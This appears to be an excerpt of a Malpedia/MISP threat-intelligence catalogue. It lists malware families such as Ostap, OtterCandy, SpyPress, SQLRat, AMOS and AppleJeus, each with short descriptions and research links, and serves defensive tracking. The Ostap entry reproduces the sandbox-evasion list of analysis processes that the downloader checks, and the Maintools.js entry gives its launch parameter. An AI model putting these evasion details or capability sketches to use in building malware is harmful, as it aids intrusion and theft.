https://github.com/eset/malware-ioc/tree/master/evilnum
https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf
https://www.secureworks.com/research/threat-profiles/gold-kingswood
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw
https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware
https://denwp.com/more-eggs-venom-spider-phishing-campaign/
https://blog.morphisec.com/cobalt-gang-2.0
https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire
https://expel.com/blog/more-eggs-and-some-linkedin-resume-spearphishing
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/
https://www.esentire.com/web-native-pages/unmasking-venom-spider
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta4557-targets-recruiters-directly-email
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/
https://twitter.com/Arkbird_SOLG/status/1301536930069278727
https://asert.arbornetworks.com/double-the-infection-double-the-fun/

NanHaiShu

NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.

The tag is: *misp-galaxy:malpedia="NanHaiShu"*

NanHaiShu is also known as:

Table 2784. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/js.nanhaishu
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://community.spiceworks.com/topic/1028936-stealthy-cyberespionage-campaign-attacks-with-social-engineering
https://attack.mitre.org/software/S0228/
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf

NodeRAT

The tag is: *misp-galaxy:malpedia="NodeRAT"*

NodeRAT is also known as:

Table 2785. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.node_rat
https://blogs.jpcert.or.jp/ja/2019/02/tick-activity.html
https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf

OFFODE

According to the author, this is a project that will give understanding of bypassing Multi Factor Authentication (MFA) of an outlook account. It is build in node.js and uses playwright for the automation in the backend.

The tag is: *misp-galaxy:malpedia="OFFODE"*

OFFODE is also known as:

Table 2786. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.offode
https://github.com/Jhangju/offode

ostap

Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:

AgentSimulator.exe anti-virus.EXE BehaviorDumper BennyDB.exe ctfmon.exe fakepos_bin FrzState2k gemu-ga.exe (Possible misspelling of Qemu hypervisor's guest agent, qemu-ga.exe) ImmunityDebugger.exe KMS Server Service.exe ProcessHacker procexp Proxifier.exe python tcpdump VBoxService VBoxTray.exe VmRemoteGuest vmtoolsd VMware2B.exe VzService.exe winace Wireshark

If a blacklisted process is found, the malware terminates.

Ostap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.

The tag is: *misp-galaxy:malpedia="ostap"*

ostap is also known as:

Table 2787. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.ostap
https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/
https://malfind.com/index.php/2021/11/24/from-the-archive-1-ostap-dropper-deobfuscation-and-analysis/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://www.intrinsec.com/deobfuscating-hunting-ostap/
https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/
https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/deobfuscate_ostap.py
https://www.cert.pl/en/news/single/ostap-malware-analysis-backswap-dropper/

OtterCandy

OtterCandy is a modular JavaScript backdoor that combines features from earlier malware families like OtterCookie and RATatouille (aka INVISIBLEFERRET.JAVASCRIPT). It steals sensitive information including browser credentials and cryptocurrency wallet data, and can execute commands like uploading files, changing directories, and self-termination. The malware communicates via socket.io protocol over port 5000 to receive and execute commands from attackers.

The tag is: *misp-galaxy:malpedia="OtterCandy"*

OtterCandy is also known as:

- HardHatRAT
- UNSEENMINK

Table 2788. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.ottercandy
https://jp.security.ntt/insights_resources/tech_blog/ottercandy_malware_e/

OtterCookie

The tag is: *misp-galaxy:malpedia="OtterCookie"*

OtterCookie is also known as:

Table 2789. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.otter_cookie
https://jp.security.ntt/tech_blog/contagious-interview-ottercookie
https://jp.security.ntt/insights_resources/tech_blog/en-contagious-interview-ottercookie/
https://gbhackers.com/lazarus-group-malware-with-ottercookie/
https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview
https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/
https://medium.com/deriv-tech/how-a-fake-ai-recruiter-delivers-five-staged-malware-disguised-as-a-dream-job-64cc68fec263
https://blog.talosintelligence.com/beavertail-and-ottercookie/
https://jp.security.ntt/tech_blog/en-waterplum-ottercookie
https://www.virusbulletin.com/uploads/pdf/conference/vb2025/papers/DeceptiveDevelopment-and-North-Korean-IT-workers-from-primitive-crypto-theft-to-sophisticated-AI-based-deception.pdf
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-from-primitive-crypto-theft-to-sophisticated-ai-based-deception/
https://www.silentpush.com/blog/contagious-interview-front-companies/
https://www-cdn.anthropic.com/b2a76c6f6992465c09a6f2fce282f6c0cea8c200.pdf
https://www.recordedfuture.com/research/inside-the-scam-north-koreas-it-worker-threat
https://quetzal.bitso.com/p/interview-with-the-chollima
https://blackpointcyber.com/blog/malicious-node-package-deploys-ottercookie/
https://any.run/cybersecurity-blog/ottercookie-malware-analysis/
https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/

ParaSiteSnatcher

The tag is: *misp-galaxy:malpedia="ParaSiteSnatcher"*

ParaSiteSnatcher is also known as:

Table 2790. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.parasitesnatcher
https://www.trendmicro.com/en_us/research/23/k/parasitesnatcher-how-malicious-chrome-extensions-target-brazil-.html

Parrot TDS

This malicious code written in JavaScript is used as Traffic Direction System (TDS). This TDS showes similarities to the Prometheus TDS. According to DECODED Avast.io this TDS has been active since October 2021.

The tag is: *misp-galaxy:malpedia="Parrot TDS"*

Parrot TDS is also known as:

Table 2791. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.parrot_tds
https://unit42.paloaltonetworks.com/parrot-tds-javascript-evolution-analysis/
https://www.silentpush.com/blog/socgholish/
https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/

PeaceNotWar

PeaceNotWar was integrated into the nodejs module node-ipc as a piece of malware/protestware with wiper characteristics. It targets machines with a public IP address located in Russia and Belarus (using geolocation) and overwrites files recursively using a heart emoji.

The tag is: *misp-galaxy:malpedia="PeaceNotWar"*

PeaceNotWar is also known as:

Table 2792. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.peacenotwar
https://www.bleepingcomputer.com/news/security/big-sabotage-famous-npm-package-deletes-files-to-protest-ukraine-war/

https://www.vice.com/en/article/dypeek/open-source-sabotage-node-ipc-wipe-russia-belraus-computers
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c

PindOS

The tag is: *misp-galaxy:malpedia="PindOS"*

PindOS is also known as:

Table 2793. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.pindos
https://www.deepinstinct.com/blog/pindos-new-javascript-dropper-delivering-bumblebee-and-icedid

Powmet

The tag is: *misp-galaxy:malpedia="Powmet"*

Powmet is also known as:

Table 2794. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.powmet
http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

QNodeService

According to Trend Micro, this is a Node.js based malware, that can download/upload/execute files, steal credentials from Chrome/Firefox browsers, and perform file management, among other things. It targets Windows and has components for both 32 and 64bit.

The tag is: *misp-galaxy:malpedia="QNodeService"*

QNodeService is also known as:

Table 2795. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.qnodeservice
https://blog.trendmicro.com/trendlabs-security-intelligence/qnodeservice-node-js-trojan-spread-via-covid-19-lure/

https://www.telsy.com/wp-content/uploads/MAR_93433_WHITE.pdf

QUICKCAFE

QUICKCAFE is an encrypted JavaScript downloader for QUICKRIDE.POWER that exploits the ActiveX M2Soft vulnerabilities. QUICKCAFE is obfuscated using JavaScript Obfuscator.

The tag is: *misp-galaxy:malpedia="QUICKCAFE"*

QUICKCAFE is also known as:

Table 2796. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.quickcafe
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

RunForestRun

Active around 2012-2013, this family deployed small JavaScript snippets on infected websites to load exploit kit scripts from DGA-generated domains. It commonly used the Blackhole exploit kit and the Sutra Traffic Distribution System (TDS), which caused it to sometimes be misnamed as Blackhole or Sutra.

The tag is: *misp-galaxy:malpedia="RunForestRun"*

RunForestRun is also known as:

- Blackhole
- Sutra

Table 2797. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.runforestrun
https://web.archive.org/web/20150613014503/https://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/
https://malware.dontneedcoffee.com/2012/12/eyeglanceru.html
https://blog.malwaremustdie.org/2013/11/runforrestrun-dga-is-alive-at.html
https://github.com/unixfreaxjp/malwaremustdie/blob/6f69c8e4a55335b6b60a23785e98087b605ddceb/wiki/old/DGA_Research_Tips.md
https://www.shadowserver.org/news/beware-the-trolls-secure-your-trackers/
https://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html
https://securelist.com/runforestrun-gootkit-and-random-domain-name-generation/57865/

https://blog.malwaremustdie.org/2012/10/fuzzy-in-manual-cracking-of.html

s1ngularity Stealer

According to StepSecurity, this is a stealer deployed through a compromised Nx package, targeting system environment properties, cryptocurrency wallets, and development credentials. Data is exfiltrated to Github using stolen tokens.

The tag is: *misp-galaxy:malpedia="s1ngularity Stealer"*

s1ngularity Stealer is also known as:

Table 2798. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.s1ngularity
https://www.stepsecurity.io/blog/supply-chain-security-alert-popular-nx-build-system-package-compromised-with-data-stealing-malware

scanbox

The tag is: *misp-galaxy:malpedia="scanbox"*

scanbox is also known as:

Table 2799. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.scanbox
https://www.volexity.com/blog/2019/09/02/digital-crackdown-large-scale-surveillance-and-exploitation-of-uyghurs/
http://resources.infosecinstitute.com/scanbox-framework/
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global
https://nattothoughts.substack.com/p/reconnaissance-scanning-tools-used
https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/attacker-tracking-users-seeking-pakistani-passport/
https://www.alienvault.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks

Shai-Hulud

A Javascript-based worm propagating through GitHub repositories and exfiltrating tokens and other credentials.

The tag is: *misp-galaxy:malpedia="Shai-Hulud"*

Shai-Hulud is also known as:

Table 2800. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.shai_hulud
https://www.wiz.io/blog/shai-hulud-npm-supply-chain-attack
https://www.reversinglabs.com/blog/shai-hulud-worm-npm
https://www.zscaler.com/blogs/security-research/mitigating-risks-shai-hulud-npm-worm
https://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain

SpyPress

According to ESET, SpyPress is a set of Javascript payloads targeting different webmail frameworks (HORDE, MDAEMON, ROUNDCUBE, ZIMBRA). The observed payloads have common characteristics. All are similarly obfuscated, with variable and function names replaced with random-looking strings. Furthermore, strings used by the code, such as webmail and C&C server URLs, are also obfuscated and contained in an encrypted list. Each of those strings is only decrypted when it is used. Note that the variable and function names are randomized for each sample, so the final SpyPress payloads will have different hashes. Another common characteristic is that there are no persistence or update mechanisms. The payload is fully contained in the email and only executed when the email message is viewed from a vulnerable webmail instance.

Finally, all payloads communicate with their hardcoded C&C servers via HTTP POST requests. There is a small number of C&C servers that are shared by all payloads (there is no separation by victim or payload type).

The tag is: *misp-galaxy:malpedia="SpyPress"*

SpyPress is also known as:

Table 2801. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.spypress
https://www.welivesecurity.com/en/eset-research/operation-roundpress/

SQLRat

SQLRat campaigns typically involve a lure document that includes an image overlayed by a VB Form trigger. Once a user has double-clicked the embedded image, the form executes a VB setup script. The script writes files to the path %appdata%\Roaming\Microsoft\Templates\, then creates two task entries triggered to run daily. The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters. After deobfuscating the file, the main JavaScript is easily recognizable. It contains a number of functions designed to drop files and execute scripts on a host system. The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.

The tag is: *misp-galaxy:malpedia="SQLRat"*

SQLRat is also known as:

Table 2802. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.sqlrat
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

Starfighter (Javascript)

According to the author, this is a JavaScript based Empire launcher that runs with its own embedded powershell host to not be dependent on local powershell availability.

The tag is: *misp-galaxy:malpedia="Starfighter (Javascript)"*

Starfighter (Javascript) is also known as:

Table 2803. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.starfighter
https://github.com/Cn33liz/StarFighters

StarFish

According to IBM X-Force, this is a simple reverse shell. Upon execution, the script generates a unique victim ID by combining the machine's product ID and computer name. It queries a hardcoded server and executes optional commands directly via cmd.exe. Command output is send back using a POST request after completion or a timeout.

The tag is: *misp-galaxy:malpedia="StarFish"*

StarFish is also known as:

Table 2804. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.starfish
https://www.ibm.com/think/x-force/hive0145-back-in-german-inboxes-with-strela-stealer

Swid

The tag is: *misp-galaxy:malpedia="Swid"*

Swid is also known as:

Table 2805. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.swid
https://imp0rtp3.wordpress.com/2021/08/12/tetris/

HTML5 Encoding

The tag is: *misp-galaxy:malpedia="HTML5 Encoding"*

HTML5 Encoding is also known as:

Table 2806. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_ff_ext
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/

Maintools.js

Expects a parameter to run: needs to be started as 'maintools.js EzZETcSXyKAdF_e5I2i1'.

The tag is: *misp-galaxy:malpedia="Maintools.js"*

Maintools.js is also known as:

Table 2807. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_maintools

https://twitter.com/JohnLaTwC/status/915590893155098629

Unidentified JS 001 (APT32 Profiler)

The tag is: *misp-galaxy:malpedia="Unidentified JS 001 (APT32 Profiler)"*

Unidentified JS 001 (APT32 Profiler) is also known as:

Table 2808. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_001
https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f
https://gist.github.com/9b/141a5c7ab8b4280901722e2cd931b7ef

Unidentified JS 003 (Emotet Downloader)

According to Max Kersten, Emotet is dropped by a procedure spanned over multiple stages. The first stage is an office file that contains a macro. This macro then loads the second stage, which is either a PowerShell script or a piece of JavaScript, which is this family entry.

The tag is: *misp-galaxy:malpedia="Unidentified JS 003 (Emotet Downloader)"*

Unidentified JS 003 (Emotet Downloader) is also known as:

Table 2809. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_003
https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/

Unidentified JS 004

A simple loader written in JavaScript found by Marco Ramilli.

The tag is: *misp-galaxy:malpedia="Unidentified JS 004"*

Unidentified JS 004 is also known as:

Table 2810. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_004
https://marcoramilli.com/2020/11/27/threat-actor-unkown/

Unidentified JS 005 (Stealer)

The tag is: *misp-galaxy:malpedia="Unidentified JS 005 (Stealer)"*

Unidentified JS 005 (Stealer) is also known as:

Table 2811. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_005
https://blogs.jpcert.or.jp/en/2021/07/water_pamola.html

Unidentified JS 006 (Winter Wyvern)

A script able to list folders and emails in the current Roundcube account, and to exfiltrate email messages to the C&C server by making HTTP requests.

The tag is: *misp-galaxy:malpedia="Unidentified JS 006 (Winter Wyvern)"*

Unidentified JS 006 (Winter Wyvern) is also known as:

Table 2812. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_006
https://go.recordedfuture.com/hubfs/reports/cta-2024-0217.pdf
https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/

Unidentified JS 002

The tag is: *misp-galaxy:malpedia="Unidentified JS 002"*

Unidentified JS 002 is also known as:

Table 2813. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_js_002

Valak

According to PCrisk, Valak is malicious software that downloads JScript files and executes them. What happens next depends on the actions performed by the executed JScript files. It is very likely that cyber criminals behind Valak attempt to use this malware to cause chain infections (i.e., using Valak to distribute other malware).

Research shows that Valak is distributed through spam campaigns, however, in some cases, it infiltrates systems when they are already infected with malicious program such as Ursnif (also known as Gozi).

The tag is: *misp-galaxy:malpedia="Valak"*

Valak is also known as:

- Valek

Table 2814. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.valak
https://www.cybereason.com/blog/valak-more-than-meets-the-eye
https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/
https://medium.com/@prsecurity_/casual-analysis-of-valak-c2-3497fdb79bf7
https://blog.talosintelligence.com/2020/07/valak-emerges.html
https://twitter.com/malware_traffic/status/1207824548021886977
https://threatresearch.ext.hp.com/detecting-ta551-domains/
https://unit42.paloaltonetworks.com/valak-evolution/
https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html
https://unit42.paloaltonetworks.com/atoms/monsterlibra/
https://security-soup.net/analysis-of-valak-maldoc/
https://labs.sentinelone.com/valak-malware-and-the-connection-to-gozi-loader-confcrew/

js.wd

The threat actor of this family compromised Chrome extension developer accounts and attached malicious code to the extensions. Web Developer 0.4.9, Chrometana 1.1.3, Infinity New Tab 3.12.3, CopyFish 2.8.5, Web Paint 1.2.1, and Social Fixer 20.1.1 were affected by this. TouchVPN and BetterVPN were assumed to be targets as well.

This lead to the execution of another Javascript that substitutes ad banners for their own, effectively hijacking ad traffic. It is also reported that fake pop-up alerts were used to lure victims to download possibly other malware.

The tag is: *misp-galaxy:malpedia="js.wd"*

js.wd is also known as:

Table 2815. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/js.wd
https://www.proofpoint.com/us/threat-insight/post/threat-actor-goes-chrome-extension-hijacking-spree

WEEVILPROXY

WEEVILPROXY is a sophisticated and featureful stealer which has a payload primarily written in NodeJS. The developer has put in concerted effort to develop the malware's breadth of capabilities, including novel techniques not observed in any prior malware campaigns - to our knowledge. These new TTPs include methods to modify Windows Setup and Windows Recovery to enable long-term persistence, as well as methods to patch browser extensions 'on the fly'.

The tag is: *misp-galaxy:malpedia="WEEVILPROXY"*

WEEVILPROXY is also known as:

- JSCEAL

Table 2816. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.weevilproxy
https://labs.withsecure.com/publications/weevilproxy

witchcoven

The tag is: *misp-galaxy:malpedia="witchcoven"*

witchcoven is also known as:

Table 2817. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.witchcoven
https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf

Godzilla Webshell

The tag is: *misp-galaxy:malpedia="Godzilla Webshell"*

Godzilla Webshell is also known as:

Table 2818. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell

https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
https://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/
https://asec.ahnlab.com/en/47455/
https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/
https://www.elastic.co/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat
https://blog.gigamon.com/2022/09/28/investigating-web-shells/
https://www.trendmicro.com/en_us/research/25/c/the-espionage-toolkit-of-earth-alux.html
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/

Icesword

webshell

The tag is: *misp-galaxy:malpedia="Icesword"*

Icesword is also known as:

Table 2819. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jsp.icesword
https://www.welivesecurity.com/en/eset-research/unveiling-wolfsbane-gelsemiums-linux-counterpart-to-gelsevirine/

3CX Backdoor (OS X)

The tag is: *misp-galaxy:malpedia="3CX Backdoor (OS X)"*

3CX Backdoor (OS X) is also known as:

Table 2820. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.3cx_backdoor
https://objective-see.org/blog/blog_0x73.html
https://objective-see.org/blog/blog_0x74.html

AMOS

The tag is: *misp-galaxy:malpedia="AMOS"*

AMOS is also known as:

- Atomic macOS Stealer

Table 2821. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.amos
https://spycloud.com/blog/reverse-engineering-atomic-macos-stealer/
https://securelist.com/crimeware-report-fakesg-akira-amos/111483/
https://www.sentinelone.com/blog/atomic-stealer-threat-actor-spawns-second-variant-of-macos-malware-sold-on-telegram/
https://www.recordedfuture.com/the-travels-of-markopolo-self-proclaimed-meeting-software-vortax-spreads-infostealers
https://redcanary.com/blog/threat-intelligence/atomic-odyssey-poseidon-stealers/
https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf
https://russianpanda.com/2024/01/15/Atomic-Stealer-AMOS/
https://www.huntress.com/blog/amos-stealer-chatgpt-grok-ai-trust
https://www.bitdefender.com/blog/labs/when-stealers-converge-new-variant-of-atomic-stealer-in-the-wild/
https://www.malwarebytes.com/blog/threat-intelligence/2024/01/atomic-stealer-rings-in-the-new-year-with-updated-version
https://www.malwarebytes.com/blog/news/2025/09/fake-malwarebytes-lastpass-and-others-on-github-serve-malware
https://hunt.io/blog/macos-odyssey-amos-malware-campaign
https://labs.k7computing.com/index.php/mentalpositives-new-macos-stealer-amos-repackaged-or-a-new-cyber-threat/
https://redcanary.com/blog/threat-detection/atomic-stealer/
https://denshiyurei.medium.com/silent-echoes-the-hidden-dialogue-among-malware-entities-spotlight-on-amos-infostealer-6d7cd70e3219
https://www.malwarebytes.com/blog/threat-intelligence/2023/09/atomic-macos-stealer-delivered-via-malvertising
https://www.kroll.com/en/publications/cyber/new-amos-infection-vector-highlights-risks-around-ai-adoption
https://denwp.com/amos-stealer-fud/
https://blog.cyble.com/2023/04/26/threat-actor-selling-new-atomic-macos-amos-stealer-on-telegram/

AppleJeus (OS X)

According to PcRisk AppleJeus is the name of backdoor malware that was distributed by the Lazarus group. They spread this malicious software through a fake app disguised as a

cryptocurrency trading application called Celas Trade Pro.

The tag is: *misp-galaxy:malpedia="AppleJeus (OS X)"*

AppleJeus (OS X) is also known as:

Table 2822. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c
https://us-cert.cisa.gov/ncas/alerts/aa21-048a
https://objective-see.com/blog/blog_0x5F.html
https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/
https://objective-see.com/blog/blog_0x49.html
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b
https://www.youtube.com/watch?v=rjA0Vf75cYk
https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56
https://vblocalhost.com/uploads/VB2021-Park.pdf
https://www.youtube.com/watch?v=1NkzTKkEM2k
https://securelist.com/operation-applejeus-sequel/95596/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g
https://objective-see.com/blog/blog_0x54.html
https://securelist.com/apt-trends-report-q2-2020/97937/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment
https://securelist.com/operation-applejeus/87553/

BANSHEE

The tag is: *misp-galaxy:malpedia="BANSHEE"*

BANSHEE is also known as:

Table 2823. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.banshee
https://www.elastic.co/security-labs/beyond-the-wail?ultron=esl:_threat_research%2Besl_blog_post&blade=twitter&hulk=social&utm_content=14389248623&linkId=549532028
https://securityaffairs.com/171423/malware/the-source-code-of-banshee-stealer-leaked-online.html

BeaverTail (OS X)

The tag is: *misp-galaxy:malpedia="BeaverTail (OS X)"*

BeaverTail (OS X) is also known as:

Table 2824. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.beavertail
https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/
https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/
https://www.nimanthadeshappriya.com/post/from-colombo-to-pyongyang
https://objective-see.org/blog/blog_0x7A.html
https://www.group-ib.com/blog/apt-lazarus-python-scripts/

Bella

The tag is: *misp-galaxy:malpedia="Bella"*

Bella is also known as:

Table 2825. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.bella
https://blog.malwarebytes.com/threat-analysis/2017/05/another-osx-dok-dropper-found-installing-new-backdoor/

https://threatintel.blog/OPBlueRaven-Part2/	
https://github.com/kai5263499/Bella	

Bundlore

The tag is: *misp-galaxy:malpedia="Bundlore"*

Bundlore is also known as:

- SurfBuyer

Table 2826. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.bundlore
https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20
https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/
https://www.trendmicro.com/en_hk/research/21/f/nukesped-copies-fileless-code-from-bundlore—leaves-it-unused.html
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c

Careto (OS X)

The tag is: *misp-galaxy:malpedia="Careto (OS X)"*

Careto (OS X) is also known as:

- Appetite
- Mask

Table 2827. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.careto
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed
https://techcrunch.com/2025/05/23/mysterious-hacking-group-careto-was-run-by-the-spanish-government-sources-say/

Casso

The tag is: *misp-galaxy:malpedia="Casso"*

Casso is also known as:

Table 2828. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.casso
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

CDDS

Google TAG has observed this malware being delivered via watering hole attacks using 0-day exploits, targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.

The tag is: *misp-galaxy:malpedia="CDDS"*

CDDS is also known as:

- Macma

Table 2829. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cdds
https://objective-see.com/blog/blog_0x69.html
https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/
